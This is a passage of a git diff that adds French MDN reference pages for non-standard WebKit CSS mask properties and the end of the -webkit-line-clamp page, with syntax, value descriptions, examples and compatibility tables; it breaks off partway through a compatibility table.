+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-webkit-line-clamp")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://css-tricks.com/line-clampin/">Line Clampin’ (Truncating Multiple Line Text)</a></li>
+ <li>{{cssxref("line-clamp")}}</li>
+</ul>
diff --git a/files/fr/web/css/-webkit-mask-attachment/index.html b/files/fr/web/css/-webkit-mask-attachment/index.html
new file mode 100644
index 0000000000..30f5caeb13
--- /dev/null
+++ b/files/fr/web/css/-webkit-mask-attachment/index.html
@@ -0,0 +1,75 @@
+---
+title: '-webkit-mask-attachment'
+slug: Web/CSS/-webkit-mask-attachment
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/-webkit-mask-attachment
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p id="Summary">Si la propriété {{cssxref("-webkit-mask-image")}} est définie, <strong><code>-webkit-mask-attachment</code></strong> permet de déterminer si la position de l'image est fixe par rapport à la zone d'affichage ou si elle défile avec le bloc qui l'englobe.</p>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+-webkit-mask-attachment: scroll;
+-webkit-mask-attachment: fixed;
+-webkit-mask-attachment: local;
+
+/* Valeurs multiples */
+-webkit-mask-attachment: scroll, local;
+-webkit-mask-attachment: fixed, local, scroll;
+
+/* Valeurs globales */
+-webkit-mask-attachment: inherit;
+-webkit-mask-attachment: initial;
+-webkit-mask-attachment: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>scroll</code></dt>
+ <dd>Si le mot-clé <code>scroll</code> est utilisé, l'image de masque défilera avec le bloc qui l'englobe.</dd>
+ <dt><code>fixed</code></dt>
+ <dd>Si le mot-clé <code>fixed</code> est utilisé, l'image de masque ne défilera pas. Sa position sera fixe pour la zone d'affichag (<em>viewport</em>).</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">body {
+  -webkit-mask-image: url('images/mask.png');
+  -webkit-mask-attachment: fixed;
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété propriétaire liée à WebKit/Blink et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-webkit-mask-attachment")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("-webkit-mask")}}</li>
+ <li>{{cssxref("-webkit-mask-clip")}}</li>
+ <li>{{cssxref("-webkit-mask-box-image")}}</li>
+ <li>{{cssxref("-webkit-mask-origin")}}</li>
+ <li>{{cssxref("-webkit-mask-image")}}</li>
+ <li>{{cssxref("-webkit-mask-composite")}}</li>
+ <li>{{cssxref("-webkit-mask-repeat")}}</li>
+</ul>
diff --git a/files/fr/web/css/-webkit-mask-box-image/index.html b/files/fr/web/css/-webkit-mask-box-image/index.html
new file mode 100644
index 0000000000..eccee98f66
--- /dev/null
+++ b/files/fr/web/css/-webkit-mask-box-image/index.html
@@ -0,0 +1,94 @@
+---
+title: '-webkit-mask-box-image'
+slug: Web/CSS/-webkit-mask-box-image
+tags:
+  - CSS
+  - Non-standard
+  - Reference
+  - Web
+translation_of: Web/CSS/-webkit-mask-box-image
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété <strong><code>-webkit-mask-box-image</code></strong> permet de définir l'image de masque utilisée pour la boîte de bordure d'un élément.</p>
+
+<ul>
+ <li>Valeur initiale : <code>none</code></li>
+ <li>Applicabilité : à tous les éléments</li>
+ <li>Héritée : non</li>
+ <li>Type de média : visuel</li>
+ <li>Valeur calculée : comme la valeur définie</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="eval">-webkit-mask-box-image: &lt;mask-box-image&gt; [&lt;top&gt; &lt;right&gt; &lt;bottom&gt; &lt;left&gt; &lt;x-repeat&gt; &lt;y-repeat&gt;]
+</pre>
+
+<p>Où :</p>
+
+<dl>
+ <dt><code>&lt;mask-box-image&gt;</code></dt>
+ <dd><code>{{cssxref("&lt;uri&gt;")}} | &lt;gradient&gt; | none</code></dd>
+ <dt><code>&lt;top&gt;</code> <code>&lt;right&gt;</code> <code>&lt;bottom&gt;</code> <code>&lt;left&gt;</code></dt>
+ <dd><code>&lt;length&gt; | &lt;percentage&gt;</code></dd>
+ <dt><code>&lt;x-repeat&gt;</code> <code>&lt;y-repeat&gt;</code></dt>
+ <dd><code>repeat | stretch | round</code></dd>
+</dl>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;uri&gt;</code></dt>
+ <dd>L'emplacement de la ressource qui doit être utilisée comme image de masque.</dd>
+ <dt><code>&lt;gradient&gt;</code></dt>
+ <dd>Une fonction <code>-webkit-gradient</code> utilisée pour générer l'image de masque.</dd>
+ <dt><code>none</code></dt>
+ <dd>Ce mot-clé indique que la boîte de bordure n'a pas de masque.</dd>
+</dl>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Le décalage à appliquer à l'image de masque (cf. {{cssxref("&lt;length&gt;")}} pour les unités possibles).</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Le décalage de l'image exprimé en pourcentages relatifs à la dimension de la boîte de bordure de l'élément (la largeur ou la hauteur selon l'axe).</dd>
+ <dt><code>repeat</code></dt>
+ <dd>L'image est répétée autant de fois que nécessaire pour remplir la boîte de bordure. On pourra avoir des morceaux d'image si les dimensions de celle-ci ne permettent pas d'en copier un nombre entier sur la boîte.</dd>
+ <dt><code>stretch</code></dt>
+ <dd>L'image de masque est étirée pour être contenue exactement dans la boîte de bordure.</dd>
+ <dt><code>round</code></dt>
+ <dd> L'image de masque est étirée et répétée de telle façon à ce qu'il n'y ait pas de morceaux d'image vers la fin de la boîte de bordure.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">.exempleUn {
+  -webkit-mask-box-image: url('mask.png');
+}
+
+.exempleDeux {
+  -webkit-mask-box-image: url('logo.png') 100 100 0 0 round round;
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété propriétaire liée à WebKit/Blink et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-webkit-mask-box-image")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("-webkit-mask")}}</li>
+ <li>{{cssxref("-webkit-mask-origin")}}</li>
+ <li>{{cssxref("-webkit-mask-attachment")}}</li>
+ <li>{{cssxref("-webkit-mask-clip")}}</li>
+ <li>{{cssxref("-webkit-mask-image")}}</li>
+ <li>{{cssxref("-webkit-mask-composite")}}</li>
+ <li>{{cssxref("-webkit-mask-repeat")}}</li>
+</ul>
diff --git a/files/fr/web/css/-webkit-mask-composite/index.html b/files/fr/web/css/-webkit-mask-composite/index.html
new file mode 100644
index 0000000000..1acfc7d25d
--- /dev/null
+++ b/files/fr/web/css/-webkit-mask-composite/index.html
@@ -0,0 +1,95 @@
+---
+title: '-webkit-mask-composite'
+slug: Web/CSS/-webkit-mask-composite
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/-webkit-mask-composite
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété <strong><code>-webkit-mask-composite</code></strong> définit la façon dont plusieurs images de masque sont appliquées pour un même élément. Les images de masques sont composées dans l'ordre inverse dans lequel elles sont listées dans la propriété {{cssxref("-webkit-mask-image")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+-webkit-mask-composite: clear;
+-webkit-mask-composite: copy;
+-webkit-mask-composite: source-over;
+-webkit-mask-composite: source-in;
+-webkit-mask-composite: source-out;
+-webkit-mask-composite: source-atop;
+-webkit-mask-composite: destination-over;
+-webkit-mask-composite: destination-in;
+-webkit-mask-composite: destination-out;
+-webkit-mask-composite: destination-atop;
+-webkit-mask-composite: xor;
+
+/* Valeurs globales */
+-webkit-mask-composite: inherit;
+-webkit-mask-composite: initial;
+-webkit-mask-composite: unset;
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> La propriété {{cssxref("mask-composite")}} couvre certains aspects de cette propriété non-standard avec des mots-clés différents.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>clear</code></dt>
+ <dd>Les pixels qui se recouvrent entre l'image source et l'image de destination sont enlevés.</dd>
+ <dt><code>copy</code></dt>
+ <dd>Les pixels du masque source remplacent ceux du masque de destination.</dd>
+ <dt><code>source-over</code></dt>
+ <dd>Le contenu du masque source est appliqué sur l'image du masque de destination.</dd>
+ <dt><code>source-in</code></dt>
+ <dd>Les pixels qui se recouvrent sont remplacés par les pixels de l'image du masque source. Tous les autres pixels sont enlevés.</dd>
+ <dt><code>source-out</code></dt>
+ <dd>Les pixels qui se recouvrent sont enlevés et on prend les autres pixels de l'image de masque source.</dd>
+ <dt><code>source-atop</code></dt>
+ <dd>Les pixels de l'image de masque de destination sont utilisés. Les pixels de l'image de masque source sont utilisés uniquement s'ils ne recouvrent pas une portion de l'image de destination. Cela fait que l'image source n'a aucun effet.</dd>
+ <dt><code>destination-over</code></dt>
+ <dd>L'image de masque de destination est affichée par dessus l'image de masque source.</dd>
+ <dt><code>destination-in</code></dt>
+ <dd>Les pixels qui se recouvrent sont remplacés par ceux de l'image de destination. Tous les autres pixels sont enlevés.</dd>
+ <dt><code>destination-out</code></dt>
+ <dd>Les pixels qui se recouvrent sont enlevés et on prend les autres pixels de l'image de destination.</dd>
+ <dt><code>destination-atop</code></dt>
+ <dd>Les pixels de l'image source sont affichés. Les pixels de l'image de destination sont uniquement utilisés s'ils ne chevauchent pas des portions non-transparentes de l'image source. Cela fait que l'image de destination n'a aucun effet.</dd>
+ <dt><code>xor</code></dt>
+ <dd>Les pixels qui se chevauchent deviennent complètement transparents s'ils étaient complètement opaques.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">.exemple {
+  -webkit-mask-image: url(mask1.png), url('mask2.png');
+  -webkit-mask-composite: xor, source-over;
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété propriétaire liée à WebKit/Blink et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-webkit-mask-composite")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("mask-composite")}}</li>
+</ul>
diff --git a/files/fr/web/css/-webkit-mask-image/index.html b/files/fr/web/css/-webkit-mask-image/index.html
new file mode 100644
index 0000000000..c68e391c6b
--- /dev/null
+++ b/files/fr/web/css/-webkit-mask-image/index.html
@@ -0,0 +1,174 @@
+---
+title: '-webkit-mask-image'
+slug: Web/CSS/-webkit-mask-image
+tags:
+  - CSS
+translation_of: Web/CSS/mask-image
+---
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.286em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">{{ CSSRef() }}</p>
+
+<p>{{ Non-standard_header() }}</p>
+
+<h3 id="Résumé">Résumé</h3>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.286em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">La propriété CSS <code style="font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace; color: inherit; font-weight: inherit;">-webkit-mask-image </code>définit l'image de masque pour un élément. L'image de masque découpe la portion visible d'un élément conformément aux valeurs de transparence de cette image.</p>
+
+<ul style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.286em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 22px; list-style-type: disc;">
+ <li>{{ Xref_cssinitial() }} : none</li>
+ <li>S'applique à : tous les éléments</li>
+ <li>{{ Xref_cssinherited() }} : non</li>
+ <li>Média : {{ Xref_cssvisual() }}</li>
+ <li>{{ Xref_csscomputed() }} : URI absolue ou none</li>
+</ul>
+
+<h3 id="Syntaxe">Syntaxe</h3>
+
+<pre class="eval" style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.286em; margin-left: 0px; padding-top: 15px; padding-right: 15px; padding-bottom: 15px; padding-left: 15px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; background-clip: initial; background-color: rgb(246, 246, 242); font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;">-webkit-mask-image:  &lt;mask-image&gt;[, &lt;mask-image&gt;]*
+</pre>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.286em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Valeurs :</p>
+
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">&lt;mask-image&gt;</dt>
+ <dd style="margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;"><code style="font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace; color: inherit; font-weight: inherit;">{{cssxref("&lt;uri&gt;")}} | &lt;gradient&gt; | none</code></dd>
+</dl>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.286em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Values</p>
+
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">&lt;uri&gt;</dt>
+ <dd style="margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Chemin de la ressource image utilisée comme masque.</dd>
+ <dt style="font-style: normal; font-weight: bold;"> </dt>
+ <dt style="font-style: normal; font-weight: bold;">&lt;gradient&gt;</dt>
+ <dd style="margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;"><span style="font-family: courier new;">Fonction-webkit-gradient</span> utilisée comme masque.</dd>
+ <dt style="font-style: normal; font-weight: bold;">none</dt>
+ <dd style="margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Signifie que l'élément n'a pas de masque image.</dd>
+</dl>
+
+<h4 id="Exemples">Exemples</h4>
+
+<pre class="brush: css">body {
+    -webkit-mask-image: url('images/mymask.png');
+}
+
+div {
+    -webkit-mask-image: url('images/foo.png'), url('images/bar.png');
+}
+
+p {
+    -webkit-mask-image: none;
+}
+</pre>
+
+<h3 id="Notes">Notes</h3>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.286em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Si plusieurs images de masque sont spécifiées, la région visible résultat sera la combinaison des régions visibles de chaque image.</p>
+
+<h3 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h3>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.286em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table" style="border-bottom-style: dotted; border-bottom-width: 1px; border-collapse: collapse; border-left-style: dotted; border-left-width: 1px; border-right-style: dotted; border-right-width: 1px; border-top-style: dotted; border-top-width: 1px; font-size: 14px; margin-bottom: 1.286em;">
+ <tbody>
+  <tr>
+   <th style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 0px; padding-right: 5px; padding-bottom: 0px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; background-clip: initial; background-color: rgb(238, 238, 238); text-align: left; font-weight: bold;">Fonctionnalité</th>
+   <th style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 0px; padding-right: 5px; padding-bottom: 0px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; background-clip: initial; background-color: rgb(238, 238, 238); text-align: left; font-weight: bold;">Firefox (Gecko)</th>
+   <th style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 0px; padding-right: 5px; padding-bottom: 0px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; background-clip: initial; background-color: rgb(238, 238, 238); text-align: left; font-weight: bold;">Chrome</th>
+   <th style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 0px; padding-right: 5px; padding-bottom: 0px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; background-clip: initial; background-color: rgb(238, 238, 238); text-align: left; font-weight: bold;">Internet Explorer</th>
+   <th style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 0px; padding-right: 5px; padding-bottom: 0px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; background-clip: initial; background-color: rgb(238, 238, 238); text-align: left; font-weight: bold;">Opera</th>
+   <th style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 0px; padding-right: 5px; padding-bottom: 0px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; background-clip: initial; background-color: rgb(238, 238, 238); text-align: left; font-weight: bold;">Safari</th>
+  </tr>
+  <tr>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">Support basique</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">{{ CompatNo() }}</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">1.0</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">{{ CompatNo() }}</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">{{ CompatNo() }}</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">4.0</td>
+  </tr>
+  <tr>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">Images de masque multiples</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">{{ CompatNo() }}</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">1.0</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">{{ CompatNo() }}</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">{{ CompatNo() }}</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">4.0</td>
+  </tr>
+  <tr>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">Dégradés</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">{{ CompatNo() }}</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">1.0{{ property_prefix("-webkit") }}</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">{{ CompatNo() }}</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">{{ CompatNo() }}</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">4.0{{ property_prefix("-webkit") }}</td>
+  </tr>
+  <tr>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">Masques SVG</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">{{ CompatNo() }}</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">8.0</td>
+   <td style="font-family: inherit; font-size: inherit; color: inherit; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; text-align: left; background-clip: initial; background-color: rgb(255, 255, 255); vertical-align: top; word-wrap: break-word;">{{ CompatNo() }}</td>
